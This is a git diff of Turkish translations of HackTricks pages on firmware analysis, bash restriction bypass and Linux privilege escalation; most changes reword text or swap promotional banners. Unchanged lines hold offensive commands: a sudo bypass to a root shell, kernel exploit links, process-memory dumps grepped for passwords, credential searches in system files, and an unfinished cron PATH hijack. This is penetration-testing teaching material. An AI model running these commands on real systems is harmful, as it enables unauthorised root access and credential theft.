gömülü ikili dosyalar - Ortak IoT cihazı web sunucuları ve ikili dosyalar Dosya sistemi içinde hassas bilgileri ve güvenlik açıklarını ortaya çıkarmaya yardımcı olan çeşitli araçlar bulunmaktadır: @@ -186,11 +175,11 @@ Dosya sisteminde bulunan hem kaynak kodları hem de derlenmiş ikili dosyalar, g ## Dinamik Analiz İçin Firmware Emülasyonu -Firmware'in emüle edilmesi, bir cihazın işleyişinin veya bireysel bir programın **dinamik analizinin** yapılmasını sağlar. Bu yaklaşım, donanım veya mimari bağımlılıklarıyla karşılaşabilir, ancak kök dosya sistemini veya belirli ikili dosyaları, Raspberry Pi gibi uyumlu mimariye ve bit sırasına sahip bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir. +Firmware'in emüle edilmesi, bir cihazın işleyişinin veya bireysel bir programın **dinamik analizinin** yapılmasını sağlar. Bu yaklaşım, donanım veya mimari bağımlılıklarıyla karşılaşabilir, ancak kök dosya sistemini veya belirli ikili dosyaları, Raspberry Pi gibi mimari ve bitiş düzenine sahip bir cihaza veya önceden oluşturulmuş bir sanal makineye aktarmak, daha fazla test yapmayı kolaylaştırabilir. ### Bireysel İkili Dosyaların Emülasyonu -Tek programları incelemek için programın bit sırasını ve CPU mimarisini belirlemek önemlidir. +Tek programları incelemek için programın bitiş düzenini ve CPU mimarisini belirlemek önemlidir. #### MIPS Mimarisi ile Örnek @@ -208,7 +197,7 @@ ARM ikili dosyaları için, emülasyon için `qemu-arm` emülatörü kullanılı ### Tam Sistem Emülasyonu -[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) gibi araçlar, tam firmware emülasyonunu kolaylaştırır, süreci otomatikleştirir ve dinamik analize yardımcı olur. +[Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analiz Araç Seti](https://github.com/attify/firmware-analysis-toolkit) ve diğer araçlar, tam firmware emülasyonunu kolaylaştırır, süreci otomatikleştirir ve dinamik analize yardımcı olur. ## Uygulamada Dinamik Analiz @@ -216,11 +205,11 @@ Bu aşamada, analiz için gerçek veya emüle edilmiş bir cihaz ortamı kullan ## Çalışma Zamanı Analiz Teknikleri -Çalışma zamanı analizi, bir işlem veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları belirleme ve bulanıklık ve diğer teknikler aracılığıyla zayıflıkları tanımlama. +Çalışma zamanı analizi, bir işlem veya ikili dosya ile işletim ortamında etkileşimde bulunmayı içerir; gdb-multiarch, Frida ve Ghidra gibi araçlar kullanılarak kesme noktaları belirleme ve bulma ve diğer teknikler aracılığıyla zafiyetleri tanımlama. -## İkili Sömürü ve Kanıt-of-Kavramı +## İkili Sömürü ve Kanıt-of-Kavram -Belirlenen zayıflıklar için bir PoC geliştirmek, hedef mimariyi derinlemesine anlama ve düşük seviye dillerde programlama gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak varsa, Return Oriented Programming (ROP) gibi teknikler gerekebilir. +Belirlenen zafiyetler için bir PoC geliştirmek, hedef mimariyi derinlemesine anlama ve düşük seviye dillerde programlama gerektirir. Gömülü sistemlerde ikili çalışma zamanı korumaları nadirdir, ancak varsa, Return Oriented Programming (ROP) gibi teknikler gerekebilir. ## Firmware Analizi İçin Hazırlanmış İşletim Sistemleri @@ -228,12 +217,12 @@ Belirlenen zayıflıklar için bir PoC geliştirmek, hedef mimariyi derinlemesin ## Firmware Analizi İçin Hazırlanmış İşletim Sistemleri -* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testi yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Gerekli tüm araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size zaman kazandırır. +* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS, Nesnelerin İnterneti (IoT) cihazlarının güvenlik değerlendirmesi ve penetrasyon testi yapmanıza yardımcı olmak için tasarlanmış bir dağıtımdır. Tüm gerekli araçların yüklü olduğu önceden yapılandırılmış bir ortam sağlayarak size zaman kazandırır. * [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ubuntu 18.04 tabanlı gömülü güvenlik testi işletim sistemi, firmware güvenlik testi araçlarıyla önceden yüklenmiş. -## Uygulamada Zayıf Firmware +## Uygulamada Zafiyetli Firmware -Firmware'deki zayıflıkları keşfetmek için aşağıdaki zayıf firmware projelerini başlangıç noktası olarak kullanın. +Firmware'deki zafiyetleri keşfetmek için aşağıdaki zafiyetli firmware projelerini bir başlangıç noktası olarak kullanın. * OWASP IoTGoat * [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md index bbf8cc1cd..5377bd7d0 100644 --- a/linux-hardening/bypass-bash-restrictions/README.md +++ b/linux-hardening/bypass-bash-restrictions/README.md @@ -1,18 +1,19 @@ # Linux Kısıtlamalarını Atlatma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'ı Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
@@ -22,7 +23,7 @@ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} -## Ortak Kısıtlamaları Atlatma Yöntemleri +## Yaygın Kısıtlamaları Atlatma Yöntemleri ### Ters Kabuk ```bash @@ -164,8 +165,8 @@ echo ${PATH:0:1} #/ ### Yerleşik Fonksiyonlar -Dış fonksiyonları yürütemiyorsanız ve yalnızca bir **sınırlı sayıda yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmayı denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ -Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra burada bazı **tavsiyeleriniz** var: +Dış fonksiyonları yürütemediğiniz durumlarda ve yalnızca bir **sınırlı sayıda yerleşik fonksiyona erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı pratik yolları vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ +Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz var**: ```bash # Get list of builtins declare builtins @@ -318,7 +319,7 @@ ln /f* ``` ## Salt-Okuma/Noexec/Distroless Atlatma -Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır: +Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır: {% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %} [bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/) @@ -340,21 +341,22 @@ Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya h
\ -[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +Bugün Erişim Edinin: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index 5f50208f8..e5139e92f 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -1,24 +1,25 @@ # Linux Yetki Yükseltme +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Sistem Bilgileri ### İşletim Sistemi Bilgileri -Çalışan işletim sisteminin bilgisini edinmeye başlayalım. +Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -44,7 +45,7 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -İyi bir zayıf çekirdek listesi ve bazı zaten derlenmiş **saldırılar** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +İyi bir zayıf çekirdek listesi ve zaten derlenmiş bazı **saldırıları** burada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ Bazı **derlenmiş saldırıları** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) O web sitesinden tüm zayıf çekirdek sürümlerini çıkarmak için: @@ -55,9 +56,9 @@ Kernel exploits aramak için yardımcı olabilecek araçlar: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploit'leri kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (sadece kurban üzerinde çalıştırılmalı, yalnızca kernel 2.x için exploitleri kontrol eder) -Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve bu sayede bu exploit'in geçerli olduğundan emin olabilirsiniz. +Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel exploitlerinde yazılıdır ve bu sayede bu exploitin geçerli olduğundan emin olabilirsiniz. ### CVE-2016-5195 (DirtyCow) @@ -75,7 +76,7 @@ Vulnerabl sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` -Sudo sürümünün zayıf noktalı olup olmadığını bu grep kullanarak kontrol edebilirsiniz. +Sudo sürümünün zayıf olup olmadığını bu grep kullanarak kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -87,7 +88,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg imza doğrulaması başarısız oldu -Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için **HTB'nin smasher2 kutusuna** bakın. +Bu zafiyetin nasıl sömürülebileceğine dair bir örnek için **HTB'nin smasher2 kutusuna** bakın ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -112,8 +113,6 @@ else echo "Not found AppArmor" fi ``` -### Grsecurity - ### Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") @@ -130,13 +129,13 @@ fi ``` ### SElinux -**SElinux** (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış güvenlik politikalarını güçlendirmek için tasarlanmıştır. SElinux, dosya izinleri ve ağ bağlantıları gibi sistem kaynaklarına erişimi kontrol etmek için zorlayıcı bir politika uygular. Bu, kötü amaçlı yazılımların ve saldırganların sistem üzerindeki etkisini sınırlamaya yardımcı olabilir. +**SElinux** (Security-Enhanced Linux), Linux çekirdeğine entegre edilmiş bir güvenlik modülüdür. SElinux, Linux işletim sisteminde zayıf yapılandırılmış izinlerden kaynaklanan güvenlik açıklarını azaltmaya yardımcı olur. SElinux, uygulamaların ve kullanıcıların erişebileceği kaynakları sınırlamak için zorlayıcı bir politika uygular. Bu sayede, kötü amaçlı yazılımların ve saldırganların sisteme sızma olasılığını azaltır. ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` ### ASLR -ASLR (Adres Alanı Rastgele Konumlandırma), bir saldırganın hedef sisteme saldırı düzenlemesini zorlaştırmak için kullanılan bir güvenlik önlemidir. ASLR, bellek bölgelerinin rastgele konumlandırılmasını sağlayarak saldırganların hedeflenen bellek adreslerini tahmin etmesini zorlaştırır. Bu, saldırıların etkisini azaltmaya yardımcı olabilir. +**Adres Alanı Rastgele Konumlandırma (ASLR)**, saldırganların hedef sistemdeki bellek bölgelerinin konumunu tahmin etmesini zorlaştıran bir güvenlik önlemidir. Bu yöntem, bellek bölgelerinin rastgele adreslere yerleştirilmesini sağlayarak saldırıların etkisini azaltır. ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled @@ -160,7 +159,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Kullanışlı yazılımlar -Yararlı ikili dosyaları sıralayın +Yararlı ikili dosyaları listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` @@ -176,41 +175,41 @@ Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmen dpkg -l #Debian rpm -qa #Centos ``` -Eğer makineye SSH erişiminiz varsa, makine içinde kurulu eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. +Eğer makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. {% hint style="info" %} -_Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle kurulu yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaları önerilir_ +_Bu komutlar genellikle gereksiz bilgileri gösterecektir, bu nedenle yüklü yazılım sürümünün bilinen saldırılara karşı savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamalar önerilir_ {% endhint %} ## İşlemler -**Hangi işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki de root tarafından yürütülen bir tomcat mi?) +**Hangi işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki de root tarafından yürütülen bir tomcat olabilir mi?) ```bash ps aux ps -ef top -n 1 ``` -Her zaman çalışan olası **electron/cef/chromium hata ayıklayıcılarını** kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\ +Her zaman çalışan **electron/cef/chromium hata ayıklayıcılarını** kontrol edin, ayrıcalıkları yükseltmek için bunu istismar edebilirsiniz. **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\ Ayrıca **süreç ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin**, belki birinin üzerine yazabilirsiniz. ### Süreç izleme -[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık ​​çağrılan zayıf süreçleri veya belirli gereksinimlerin karşılandığı durumları tespit etmek için çok yararlı olabilir. +[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sık ​​sık yürütülen savunmasız süreçleri veya belirli gereksinimlerin karşılandığı durumları tanımlamak için çok yararlı olabilir. ### Süreç belleği -Bir sunucunun bazı hizmetleri **açık metin olarak kimlik bilgilerini belleğin içine kaydeder**.\ -Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için **kök ayrıcalıklarına ihtiyacınız olacaktır**, bu nedenle bu genellikle zaten kök kullanıcı olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlı olacaktır.\ +Bir sunucunun bazı hizmetleri **kimlik bilgilerini açık metin olarak belleğin içine kaydeder**.\ +Genellikle diğer kullanıcılara ait süreçlerin belleğini okumak için **kök ayrıcalıklarına ihtiyacınız olacaktır**, bu nedenle bu genellikle zaten kök kullanıcıysanız ve daha fazla kimlik bilgisi keşfetmek istiyorsanız daha yararlı olacaktır.\ Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz**. {% hint style="warning" %} -Günümüzde çoğu makinenin **varsayılan olarak ptrace izin vermediğini** unutmayın, bu da kendi ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir. +Günümüzde çoğu makine **varsayılan olarak ptrace izin vermez**, bu da başka bir kullanıcıya ait diğer süreçleri dökemeyeceğiniz anlamına gelir. -_Proc/sys/kernel/yama/ptrace\_scope_ dosyası ptrace'nin erişilebilirliğini kontrol eder: +_Proc/sys/kernel/yama/ptrace\_scope_ dosyası ptrace erişilebilirliğini kontrol eder: -* **kernel.yama.ptrace\_scope = 0**: Aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şekliydi. -* **kernel.yama.ptrace\_scope = 1**: Yalnızca bir üst süreç hata ayıklanabilir. -* **kernel.yama.ptrace\_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü CAP\_SYS\_PTRACE yetkisine ihtiyaç duyar. +* **kernel.yama.ptrace\_scope = 0**: aynı uid'ye sahip süreçlerin hepsi hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir. +* **kernel.yama.ptrace\_scope = 1**: yalnızca bir üst süreç hata ayıklanabilir. +* **kernel.yama.ptrace\_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü CAP\_SYS\_PTRACE yetkisi gerektirir. * **kernel.yama.ptrace\_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gereklidir. {% endhint %} @@ -242,7 +241,7 @@ done #### /proc/$pid/maps ve /proc/$pid/mem -Verilen bir işlem kimliği için **haritalar, belleğin o işlemin** sanal adres alanı içinde nasıl eşlendiğini gösterir; aynı zamanda **her eşlenmiş bölgenin izinlerini** de gösterir. **Mem** yalancı dosyası **işlemlerin belleğini kendisi açığa çıkarır**. **Haritalar** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve konumlarını öğreniriz. Bu bilgileri kullanarak **mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek** için kullanırız. +Verilen bir işlem kimliği için **haritalar, o işlemin** sanal adres alanı içinde nasıl belleğe **haritalandığını gösterir; ayrıca her haritalanmış bölgenin izinlerini** de gösterir. **Mem** sahte dosyası **işlemlerin belleğini kendisi açığa çıkarır**. **Haritalar** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu ve ofsetlerini** bildiğimizden, bu bilgiyi kullanarak **mem dosyasına gitmek ve tüm okunabilir bölgeleri bir dosyaya dökmek** için kullanırız. ```bash procdump() ( @@ -257,7 +256,7 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`, sanal belleğe değil sistem **fiziksel** belleğe erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\ +`/dev/mem`, sanal bellek değil, sistemin **fiziksel** belleğine erişim sağlar. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\ Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grupları tarafından okunabilir. ``` strings /dev/mem -n10 | grep -i PASS @@ -296,8 +295,8 @@ Press Ctrl-C to end monitoring without terminating the process. Bir işlem belleğini dökmek için şunları kullanabilirsiniz: * [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz -* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir) +* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (kök) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemi dökebilirsiniz +* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (kök gereklidir) ### İşlem Belleğinden Kimlik Bilgileri @@ -308,7 +307,7 @@ Eğer doğrulayıcı işleminin çalıştığını bulursanız: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Prosesi dökümleyebilirsiniz (farklı yöntemler için bellek dökümü yapma bölümlerine bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz: +Prosesi dökümleyebilirsiniz (farklı yöntemleri bulmak için önceki bölümlere bakın) ve bellek içinde kimlik bilgilerini arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -342,7 +341,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Zamanlanmış/Cron işleri -Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? semboller kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). +Kontrol edin eğer herhangi bir zamanlanmış işlem savunmasız ise. Belki root tarafından yürütülen bir betikten faydalanabilirsiniz (joker açığı mı? root'un kullandığı dosyaları değiştirebilir mi? sembollü bağlantıları kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -350,12 +349,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron yolu -Örneğin, _/etc/crontab_ dosyası içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, _/etc/crontab_ dosyasının içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_"user" kullanıcısının /home/user üzerinde yazma izinlerine sahip olduğuna dikkat edin_) -Bu crontab dosyası içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden denemesi durumunda. Örneğin: _\* \* \* \* root overwrite.sh_\ -O zaman, şu komutu kullanarak root kabuğuna erişebilirsiniz: +Eğer bu crontab dosyasının içinde root kullanıcısı bir komut veya betik çalıştırmaya çalışırken yol belirtmeden deneme yaparsa. Örneğin: _\* \* \* \* root 